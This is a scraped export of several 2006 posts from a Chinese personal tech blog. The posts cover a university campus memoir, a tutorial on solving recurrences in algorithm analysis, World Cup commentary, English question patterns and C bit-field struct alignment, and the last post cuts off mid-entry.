2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/06/24/tony-forecast-the-final-eight-of-worldcup/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"Tony说世界杯之八强预测篇"},{"content":"不知不觉间已经快大学毕业两年了，最近热度很高的世界杯让我想起了2002年韩日世界杯期间和寝室哥们儿们一起为中国队加油、一起为阿根廷落魄而伤感的日子了，只因兄弟们都已经各奔东西、不在身边，想起这些未免有些感伤。恰巧，Google Earth最近更新了其中国区的卫星照片，使我有机会到我们学校的\u0026rsquo;上空\u0026rsquo;俯瞰我生活学习了4年的令人难忘的大学。\nGoogle Earth真是个耗资源的软件，我的本本勉勉强强能运行之，察看一下内存，哇噻，GE居然占了105M内存，我的本本的物理内存才256，虽然有虚拟内存，但是总是换入换出，我的硬盘就开始哇哇叫了^_^。\n下面是我大学校园的一些图片以及我点点滴滴的记忆^_^。\n我所在的大学是位于中国北方哈尔滨的一座学校，人们俗称之\u0026rsquo;哈工大\u0026rsquo;，有人说它是\u0026rsquo;工程师的摇篮\u0026rsquo;，呵呵，在我身上这点体现的还真准确。学校其实并不大，甚至显得有些拥挤，由于处于市中心地段，再加上规划的并不合理，导致建筑物林立，剩余的自由空间倒是显得少得可怜。更奇怪的是整个校园被一条宽阔的马路一分为二。学校中的路并不平坦，高低起伏，就好像整座学校建在一座丘陵上似的。学校有两个校区，我生活在主校区，也就是本埠，二校区听说很大，规划也很好，不过我从未去多，多少有些遗憾。好了，下面看图说话吧。\n全景图\n从上图中可以清晰的看到整个校园中间有一条大马路从学校正门而入，沿东南方向延伸到学校的另一端。图上方主要分布着主教学楼、电机楼、机械楼、逸夫馆和实习工厂。图下方则是图书馆、食堂、A楼、D楼、学生公寓、篮球场，最下方其实还有个新体育场，不过图中放不下了。\n主教学楼\n不得不承认，主教学楼的确是整个校园最最壮观的建筑物，其实很多到哈尔滨旅游的人也都主动要到我们校园这参观参观主楼，当年到学校报到时第一眼就看到了这个宏伟的楼宇，这座楼宇也有很长时间的历史了，具体多少年我也记不清了，起码60多年了，在校园里还有更老的建筑，听说有些建筑是1920年的作品，真是老古董了。主楼、电机楼和机械楼构成了一个\u0026rsquo;凹\u0026rsquo;型，在它们后面是个小花园，那可是每天晚上一对对情侣最喜欢去的地方。也许很多人会看到这三栋楼的楼顶是亮亮的，你看的没错，我来告诉你那是什么，当然我也是在校园里看，不没有近距离看，我看到的是一块块的白色钢板铺满了这三座楼的楼顶，至于为什么做我也不清楚，很有意思吧。\n图书馆\n学校的图书馆的建筑风格很有特色，采用的是柱结构支撑，透明顶棚，中央区采光完全靠太阳光，当然阴天和夜晚有照明，这个图书馆项目可是当年的鲁班奖得主呀，不过在我离开校园的时候，图书馆正门的大柱子外皮有很多地方都脱落了，图书馆也该修修了。回想一下，那里留下了我很多的足迹。\n三公寓\n哈工大的学生都知道，三公寓是工大最神秘的角落，因为那是我们学校女生最集中的地方了–女生公寓。每天早上或者晚上你都能看到其门前总有不在少数的男同胞们在等他们的\u0026rsquo;梦中情人\u0026rsquo;，这绝对是一道特殊的风景。我曾经去过一次那里，那还是帮助我班女生换寝室时才有机会的。不过这个公寓也已经很陈旧了，也该修修了。\n篮球、网球场\n我是不太喜欢打篮球的，记得只是在毕业的最后那段时间和同学们一起在那\u0026rsquo;现眼\u0026rsquo;了一把，网球倒是我很喜欢的运动。学校的网球场设施还是很好的，而且是免费的，每天早晨都有很多人占场打球，我比较懒，从来不能早起，只能等到下午1、2点钟太阳最毒辣的时候去打球，而且还得死拉硬拽，才能叫到几个哥们儿一起，这里\u0026rsquo;岁岁年年\u0026lsquo;就是曾经的受害者。\n体育场和一公寓\n上图中我们的体育场一目了然，很容易识别，那里是我们上体育课、开运动会的地方，同时也有很多集体活动，比如什么明星演唱会、足协杯比赛了，我们学生都是\u0026rsquo;穷孩子\u0026rsquo;，没有钱入场，就趁机混入场内；如果实在混不进去，我们还有最后一招，也是大多数人使用的招数，看到这个体育场西北方向的那个建筑物了么，那就是我们的一公寓，号称亚洲最大的学生公寓，至于其中住了多少人，不得而知。我们最后的招数就是打开窗户，坐在一公寓的窗子上拿着望远镜看体育场内的节目，还别说，一目了然，很是清晰。当然你必须住在五楼以上才可以(公寓一共6层，还好我住在530^_^)。体育场东北方向有个\u0026rsquo;土场\u0026rsquo;，那是一块真正利用率很高的足球场地，体育场内的草坪是不允许我们踢球的，我们只能在土场里踢。还记得在我们的军训也在这块土场上，那时候可真惨，大热天，穿着厚厚的军服，在这块土场上拴趴滚打，弄得全身没一块好地方。\n","permalink":"https://tonybai.com/2006/06/21/two-years-since-graduate-from-university/","summary":"\u003cp\u003e不知不觉间已经快大学毕业两年了，最近热度很高的\u003ca href=\"http://tonybai.com/2006/06/09/worldcup-comes/\"\u003e世界杯\u003c/a\u003e让我想起了2002年韩日世界杯期间和寝室哥们儿们一起为中国队加油、一起为阿根廷落魄而伤感的日子了，只因兄弟们都已经各奔东西、不在身边，想起这些未免有些感伤。恰巧，\u003ca href=\"http://tonybai.com/2006/06/13/google-earth-update-maps-of-mainland/\"\u003eGoogle Earth最近更新了其中国区的卫星照片\u003c/a\u003e，使我有机会到我们学校的\u0026rsquo;上空\u0026rsquo;俯瞰我生活学习了4年的令人难忘的大学。\u003c/p\u003e","title":"大学毕业两年了"},{"content":"当一个算法(如二分查找)中包含对自己的递归调用时，关于这个算法时间复杂性的分析最终都转化为一个递归方程的求解问题，而这样的算法不在少数。实际上这是数学领域的问题，但是计算机科学又怎么能脱离数学而存在呢？^_^ 数学是好东西呀，可惜自己在这方面造诣颇浅，今生之遗憾亚。^_^\n还好，解决递归方程涉及的数学知识我还是能应付的了的^_^。在MIT算法导论中介绍了3种方法，我们这里就说说这三种方法！这些是基础，如果以后要深入研究算法的话，这些知识是必须要精通的；如果并不想在算法方面有所深入的话，多学些知识也没错。我本身也是在学习，像这类的知识一般都比较死性，有些记住了，就可以掌握了。\n1、Substitution Method\n这是一种使用数学归纳法推导证明的方法，其步骤为先假设一个解，然后带入到递归方程中，利用数学归纳法推导，以验证假设的解是否合理。我们拿ITA(Introduction to Algorithm)中的例子说明吧，比较保险^_^。\n[Ex1.]\nT(n) = 4T(n/2) + n，解这个递归等式，分析T(n)的渐近性。\n解：(这里我们只来找上界)\n我们假设T(1) = θ(1)，猜测一个解T(n) = O(n^3)，根据O符号的定义，我们得到对k \u0026lt; n, 有T(k) \u0026lt;= ck^3，把这个解代入到T(n) = 4T(n/2) + n，并进行推导得出：\nT(n) = 4T(n/2) + n\n\u0026lt;= 4c((n/2)^3) + n\n= (c/2)n^3 + n\n= cn^3 – ((c/2)n^3 – n)\n当c \u0026gt;= 2, n \u0026gt;= 1时，((c/2)n^3 – n) \u0026gt;= 0，这时T(n) \u0026lt;= cn^3，即T(n) = O(n^3)；\n我们再回过头来看看当n = 1时这个解是否成立，即证明一下T(1) = θ(1)。对于1 \u0026lt;= n \u0026lt; n0, θ(1) \u0026lt;= cn^3 (c足够大)，即该推导出的解也满足初始条件，所以O(n^3)是T(n)的一个上界。但是O(n^3)是否是严紧的上界呢，我们不妨缩小上界范围再推导一次，这次我们猜测解为T(n) = O(n^2)，根据O符号的定义，我们得到对k \u0026lt; n, 有T(k) \u0026lt;= ck^2，把这个解代入到T(n) = 4T(n/2) + n，并进行推导得出：\nT(n) = 4T(n/2) + n\n\u0026lt;= 4c((n/2)^2) + n\n= cn^2 + n\n= cn^2 – (-n)\n不能严格符合T(n) \u0026lt;= cn^2的定义，所以推导失败。但是失败是不是说明，T(n) = O(n^2)一定不成立呢？我们再做一次最后的努力，当出现上面的这种情况时，我们假设解仍为：T(n) = O(n^2)，只是我们选择对k \u0026lt; n, 有T(k) \u0026lt;= ak^2 – bk，我们选择减去一个低阶的项，这不会影响到n足够大时的渐进性的，这里是一个常用的技巧。\nT(n) = 4T(n/2) + n\n\u0026lt;= 4(a(n/2)^2 – b(n/2)) + n\n= an^2 – bn – (bn – n)\n\u0026lt;= an^2 – bn (当b \u0026gt;= 1时)\n这样我们找到了严紧解T(n) = O(n^2)。\n2、Iteration method(Recursion-tree method)\n这个方法的思想是：\u0026ldquo;迭代地展开递归方程的右端，使之成为一个非递归的和式，然后通过对和式的估计来达到对方程左端即方程的解的估计\u0026rdquo;。而我们可以借助’树’的形式来帮助迭代展开的过程。\n[Ex2.]\nT(n) = T(n/4) + T(n/2)+ n^2；解这个递归等式，分析T(n)的渐近性。\n解：\nT(n) = n^2 + T(n/4) + T(n/2)\n= n^2 + {(n/4)^2 + T(n/16) + T(n/8)} + {(n/2)^2 + T(n/8) + T(n/4)}\n= …\n= n^2 {1 + 5/16 + (5/16)^2 + (5/16)^3 + … }\n= θ(n^2)\n3、Master Method\n这是一种典型的套用公式的方法，解决形如’T(n) = aT(n/b) + f(n)’递归方程形的解的方法。这种递归方程是一类分治法的时间复杂性所满足的递归关系，即一个规模为n的问题被分成规模均为n/b的a个子间题，递归地求解这a个子问题，然后通过对这a个子间题的解的综合，得到原问题的解。如果用T(n)表示规模为n的原问题的复杂性，用f(n)表示把原问题分成a个子问题和将a个子问题的解综合为原问题的解所需要的时间，我们便有方程’T(n) = aT(n/b) + f(n)’。\n在f(n)的三类情况下，我们有T(n)的渐近估计式有三类情况：(log(b, a)表示以b为底的对数)\n(1) 若对于某常数ε\u0026gt;0，有f(n) = O(n^log(b, a-ε))，即f(n)以慢于n^(log(b, a))的速率渐进增长，则T(n) = θ(n^(log(b, a))；\n(2) 若有f(n) = θ(n^log(b, a) * (lgn)^k)，即f(n)以相似于n^(log(b, a))增长的速率渐进增长，则T(n) = θ(n^(log(b, a) * (lgn)^(k+1))，k为一常数，k \u0026gt;= 0；\n(3) 若对于某常数ε\u0026gt;0，有f(n) = Ω(n^log(b, a+ε))，即f(n)以快于n^(log(b, a))的速率渐进增长，且对于某常数c \u0026gt; 1和所有充分大的正整数n有af(n/b) \u0026lt;= cf(n)，则T(n) = θ(f(n))。\n举例来说吧：\n[Ex3.]\nT(n) = 4T(n/2) + n，解这个递归等式，分析T(n)的渐近性。\n解：对T(n) = 4T(n/2) + n我们得到a = 4, b = 2, f(n) = n, 计算得出n^(log(b, a) = n^(log(2, 4) = n^2，而f(n) = n = O(n^(2-ε))，此时ε= 1，根据Case (1)，我们得到T(n) = θ(n^2)。\n[Ex4.]\nT(n) = 4T(n/2) + n^2，解这个递归等式，分析T(n)的渐近性。\n解：对T(n) = 4T(n/2) + n^2，我们得到a = 4, b = 2, f(n) = n^2, 计算得出n^(log(b, a) = n^(log(2, 4) = n^2, f(n) = n^2 = θ(n^2 * (lgn)^0)，即k = 0，这样按照Case (2)，我们得到T(n) = θ(n^2 * (lgn)^(k+1)) = θ(n^2 * (lgn))。\n[Ex5.]\nT(n) = 4T(n/2) + n^3，解这个递归等式，分析T(n)的渐近性。\n解：对T(n) = 4T(n/2) + n^3，我们得到a = 4, b = 2, f(n) = n^3, 计算得出n^(log(b, a) = n^(log(2, 4) = n^2, f(n) = n^3 = Ω(n^(2+ε)，此时ε= 1，且4f(n/2) = (n^3)/2 \u0026lt;= cn^3(c \u0026gt;= 1/2)，所以得到T(n) = θ(n^3)。\n对于大部分人来说’Master Method’应该是最常用的，这几个Case可要牢牢记在心上才行哟。\n","permalink":"https://tonybai.com/2006/06/21/solve-recursion-problem-when-doing-algorithm-analysis/","summary":"\u003cp\u003e当一个算法(如二分查找)中包含对自己的递归调用时，关于这个算法时间复杂性的分析最终都转化为一个递归方程的求解问题，而这样的算法不在少数。实际上这是数学领域的问题，但是计算机科学又怎么能脱离数学而存在呢？^_^ 数学是好东西呀，可惜自己在这方面造诣颇浅，今生之遗憾亚。^_^\u003c/p\u003e","title":"解决算法分析中递归问题的方法"},{"content":"90分钟的比赛，乌克兰人完成了从第一轮\u0026rsquo;入地狱\u0026rsquo;到此轮\u0026rsquo;升天堂\u0026rsquo;的转变过程，舍瓦也终于进球了！\n昨晚没有看比赛，而是听比赛，喜欢听广播入睡的我选择了舒服的躺在床上享受着世界杯的比赛，而这场比赛恰恰是乌克兰对阵沙特阿拉伯，开场3分钟左右，听到收音机中解说员大声喊叫着\u0026rsquo;进球了!\u0026rsquo;，乌克兰的6号鲁索尔门前接角球垫射入网，乌克兰人开了个好头。一向对沙特阿拉伯能力持怀疑态度的我马上意思到：\u0026lsquo;沙特漏斗要开口了\u0026rsquo;。之后昏昏沉沉地进入了梦乡。\n早上起来看中央五套的\u0026rsquo;晨光战报\u0026rsquo;，果不其然，沙特漏斗被灌了4个进球，好像每每遇到身体高大强壮的对手，沙特队总是没什么办法，这让我想到身高马大的中国队如果和沙特人交手，估计也能占到些许便宜。更令人欣喜地是超级前锋舍瓦一次助攻，一个进球，表现很是完美。记得N年前当舍瓦和巴蒂争意甲最佳射手时，我还不是很喜欢这个黄头发的家伙，随着巴蒂的退役，舍瓦的成熟，特别是舍瓦这几年已经成为了AC米兰的核心和领袖，这着实让我对之刮目相看。在目前来看，舍瓦的确是最优秀的技术全面、有领袖气质的箭头人物，称之为\u0026rsquo;核弹头\u0026rsquo;再合适也不过了，真为舍瓦在世界杯有出色表现而高兴，试想一下如果舍瓦是德国或者是英国或者是意大利球员，那么舍瓦早就可以登到足坛最高峰了，可惜他属于一个在足球界不起眼的国家-乌克兰。乌克兰能在舍瓦的带领下从欧洲诸强中第一个出线，我们就可以为之热烈鼓掌了。乌克兰在小组赛最后一个对手是突尼斯，只要乌克兰人能把握好自己，相信进军16强的大门会向之敞开的。\n另：G组第二轮比赛已经全部结束，瑞士出线前景一片光明，但是韩国人是最善于背水一战的，最后一轮韩国vs. 瑞士值得一看，现在让我们暂时忘记那个98年夺冠的法国队吧，面对现实吧，现在的法国队有可能重走2002年之路。\n","permalink":"https://tonybai.com/2006/06/20/from-hell-to-heaven/","summary":"\u003cp\u003e90分钟的比赛，乌克兰人完成了从第一轮\u0026rsquo;入地狱\u0026rsquo;到此轮\u0026rsquo;升天堂\u0026rsquo;的转变过程，舍瓦也终于进球了！\u003c/p\u003e","title":"从'地狱'升入'天堂'"},{"content":"脱口而出，’不耻下问’乃英语学习之真精神也，这里我们要学习一些经典的’问句’。\n一、How …?\n1、How about …?\nHow about taking a walk?\nHow about parking here?\nHow about going for a trip?\n2、How do you like … ?\nHow do you like living in China?\nHow do you like your new job?\nHow do you like my new car?\n3、How much should I pay for …?\nHow much should I pay for the hotel room?\n– Actually, it’s free.\n4、How often do you …?\nHow often do you go on a vocation?\n– I never had a chance to go on a vocation.\nHow often do you eat out?\n– I eat out all the time. I hate to cook.\n5、How can you …? (带有强烈个人感情色彩)\nHow can you stand such terrible weather?\nHow can you stand her nagging all the time?\nHow can you stand the pressure here?\nHow can you treat me like that?\nHow can you do such a stupid thing?\n– I don’t know. I wasn’t thinking I guess.\n6、How come …? (!其后接正常语序)\nHow come he failed the exam ? Isn’t he the best student in the class?\nHow come you never visit us any more?\nHow come I have to go to bed so early?\n7、How long have you been …?\nHow long have you been learning English?\nHow long have you been in China?\nHow long have you been feeling like this?\nHow long have you been married?\nHow long have you been working here?\nHow long have you been a computer programmer?\nHow long have you been having this dream?\nHow long have you been waiting here?\nHow long have you been collecting stamps?\nHow long have you been a football fan?\n8、How long will it take …?\nHow long will it take to get there?\nHow long will it take to make a million dollars?\nHow long will it take to rebuild New York city?\nHow long will it take to finish the project?\nHow long will it take to conquer English?\nHow long will it take to fly from Beijing to New York?\n9、How do you know … ?\nHow do you know I can’t do it?\nHow do you know it won’t work?\nHow do you know which stocks to buy?\nHow do you know my name?\n10、How are you getting along with …?\nHow are you getting along with your roommate?\nHow are you getting along with your colleagues?\nHow are you getting along with your new girlfriend?\nHow are you getting along with your new boss?\n– OK, I guess. I really don’t see him that much.\n二、What …?\n1、What about …?\nWhat about your future?\nWhat about the new restaurant?\nWhat about going together?\n2、What else …?\nWhat else can I do for you?\nWhat else have you heard?\nWhat else do yo want to know?\n3、What kind of …?\nWhat kind of person do you think you are?\nWhat kind of fool do you think I am?\nWhat kind of movie do you like?\nWhat kind of girl do you like?\n– I like a loving, considerate, intelligent girl who is confident and knows what she want to do with her life.\n4、What do you think … ?\nWhat do you think I should do ?\nWhat do you think you wants?\nWhat do you think America will do to fight the terrorism?\nWhat do you think the chances are of my passing the TOEFL exam?\n– I think that your chances are good. You’ve been preparing for a long time and I’ve noticed a big improvment in your spoken English.\n5、What would you like to…?\nWhat would you like to know?\nWhat would you like to do next?\nWhat would you like to drink?\n6、What do you think of …?\nWhat do you think of China so far?\n– Amazing!/Pretty good!\nWhat do you think of her new boyfriend?\n– I think he is easy-going, handsome, but stupid.\n7、What’s wrong with …?\nWhat’s wrong with George W. Bush?\nWhat’s wrong with this world?\nWhat’s wrong with your phone?\nWhat’s wrong with the computer?\n– It’s a cheap piece of junk.\n8、What’s your favorite … ?\nWhat’s your favorite food?\nWhat’s your favorite kind of music?\n9、What seems to be the problem with … ?\nWhat seems to be the problem with your sister? She looks very upset this morning.\n10、What makes/made you … ?\nWhat made you so angry?\nWhat makes you think he did it?\nWhat makes you so motivated?\nWhat makes you say that?\n– I’ve been studying English for years. I know what I am talking about.\nWhat makes you do such stupid things?\n– I don’t know. I can’t control myself. I don’t want to do stupid things but I just can’t help it.\n三、Why …?\n1、Why didn’t you …?\nWhy didn’t you wait for me?\nWhy didn’t you tell me?\nWhy didn’t you buy it?\nWhy didn’t you say something earlier?\nWhy didn’t you call me?\n– I’m terribly sorry. I slipped my mind.\n2、Why don’t we just … ?\nWhy don’t we just have dinner together somewhere this Saturday?\n3、Why do you think …?\nWhy do you think(What makes you think) Guangzhou is a bad place to live?\n4、Why do you have to …? (有质问的语气)\nWhy do you have to tell her the truth?\nWhy do you have to leave so early?\n– I have an early appointment tomorrow morning.\n5、Why is it that…?\nWhy is it that I have had nightmares all these nights?\n– Maybe you shouldn’t eat so much chocolate before bedtime.\n四、When …?\n1、When are you going to …?\nWhen are you going to buy a new house?\nWhen are you going to ask your boss for a raise?\n2、When would you like to …?\nWhen would you like to place an order?\n– I’m not sure. I still need some time to think it over.\n3、When do you want me to …?\nWhen do you want me to have ready for you?\nWhen do you want me to report for work tomorrow?\n4、When could you possibly …?\nWhen could you possibly finish this?\nWhen could you possibly let me know the result?\n– We will let you know the result as soon as possible.\n5、When will it be convenient for you to …?\nWhen will it be convenient for you to arrange an interview for me?\nWhen will it be convenient for you to come to my office?\n","permalink":"https://tonybai.com/2006/06/20/learn-some-sentential-form-for-asking/","summary":"\u003cp\u003e脱口而出，’不耻下问’乃英语学习之真精神也，这里我们要学习一些经典的’问句’。\u003c/p\u003e\n\u003cp\u003e一、How …?\u003c/p\u003e\n\u003cp\u003e1、How about …?\u003cbr\u003e\nHow about taking a walk?\u003cbr\u003e\nHow about parking here?\u003cbr\u003e\nHow about going for a trip?\u003c/p\u003e\n\u003cp\u003e2、How do you like … ?\u003cbr\u003e\nHow do you like living in China?\u003cbr\u003e\nHow do you like your new job?\u003cbr\u003e\nHow do you like my new car?\u003c/p\u003e","title":"突破英语句型之'不耻下问篇'"},{"content":"这也是在ChinaUnix上看了几篇关于C语言\u0026rsquo;位域(Bit Fields)\u0026lsquo;的帖子之后，才想写下这篇文章的。其实在平时的工作中很少使用到\u0026rsquo;位域\u0026rsquo;，我是搞服务器端程序设计的，大容量的内存可以让我毫不犹豫的任意\u0026rsquo;挥霍\u0026rsquo;^_^。想必搞嵌入式编程的朋友们对位域的使用应该不陌生吧。这里我也仅仅是凭着对C语言钻研的兴趣来学习一下\u0026rsquo;位域\u0026rsquo;的相关知识的，可能有些说法没有实践，缺乏说服力。\n具体也不是很清楚当年C语言的创造者为什么要加入位域这一语法支持，那是太遥远的事情了，我们不需要再回顾了，既然大师们为我们创造了它，我们使用便是了。\n毋庸置疑，位域的引入给用户的最大的好处莫过于可以有效的利用\u0026rsquo;昂贵\u0026rsquo;的内存和操作bit的能力了。而且这种操作bit位的能力很是方便，利用结构体域名即可对这些bit进行操作。例如：\nstruct foo {\nint a : 1;\nint b : 2;\nshort c : 1;\n};\nstruct foo aFoo;\naFoo.a = 1;\naFoo.b = 3;\naFoo.c = 0;\n通过结构体实例.域名即可修改某些bit得值，这些都是编译器的\u0026rsquo;甜头\u0026rsquo;。当然我们也可以自己通过一些\u0026rsquo;掩码\u0026rsquo;和移位操作来修改这些bit，当然如果不是十分需要，我们是不需要这么做的。\n位域还提供一种叫\u0026rsquo;匿名\u0026rsquo;位域的语法，它常用来\u0026rsquo;填缺补漏\u0026rsquo;，由于是\u0026rsquo;匿名\u0026rsquo;，所以你不能像上面那样去访问它。如：\nstruct foo1 {\nint a : 1;\nint : 2;\nshort c : 1;\n};\n在foo1的成员a和c之间有一个2 bits的匿名位域。\n在foo结构体的定义中，成员a虽然类型为int，但是它仅仅占据着4个字节中的一个bit的空间；类似b占据2个bit空间，但是b到底是占据第一个int的2个bit空间呢还是第二个int的2个bit空间呢？这里实际上也涉及到如何对齐带有\u0026rsquo;位域\u0026rsquo;的结构体这样一个问题。我们来分析一下。\n我们再来看看下面两个结构体定义：\nstruct foo2 {\nchar a : 2;\nchar b : 3;\nchar c : 1;\n};\nstruct foo3 {\nchar a : 2;\nchar b : 3;\nchar c : 7;\n};\n我们来打印一下这两个结构体的大小，我们得到的结果是：\nsizeof(struct foo2) = 1\nsizeof(struct foo3) = 2\n显然都不是我们期望的，如果按照正常的内存对齐规则，这两个结构体大小均应该为3才对，那么问题出在哪了呢？首先通过这种现象我们可以肯定的是：带有\u0026rsquo;位域\u0026rsquo;的结构体并不是按照每个域对齐的，而是将一些位域成员\u0026rsquo;捆绑\u0026rsquo;在一起做对齐的。以foo2为例，这个结构体中所有的成员都是char型的，而且三个位域占用的总空间为6 bit 8 bit(1 byte)，这里位域是不能跨越两个成员基本类型空间的，这时编译器将a和b两个成员\u0026rsquo;捆绑\u0026rsquo;按照char做对齐，而c单独拿出来以char类型做对齐，这样实际上在b和c之间出现了空隙，但这也是最节省空间的方法了。我们再看一种结构体定义：\nstruct foo4 {\nchar a : 2;\nchar b : 3;\nint c : 1;\n};\n在foo4中虽然三个位域所占用空间之和为6 bit \u0026lt; 8 bit(1 byte)，但是由于char和int的对齐系数是不同的，是不能捆绑在一起，那是不是a、b捆绑在一起按照char对齐，c单独按照int对齐呢？我们打印一下sizeof(struct foo4)发现结果为4，也就是说编译器把a、b、c一起捆绑起来并以int做对齐了。\n通过上面的例子我们发现很难总结出很规律性的东西，但是带有\u0026rsquo;位域\u0026rsquo;的结构体的对齐有条原则可以遵循，那就是：\u0026ldquo;尽量减少结构体的占用空间\u0026rdquo;。当然显式的使用内存对齐的机会也并不多。^_^\n","permalink":"https://tonybai.com/2006/06/19/understand-bit-fields/","summary":"\u003cp\u003e这也是在\u003ca 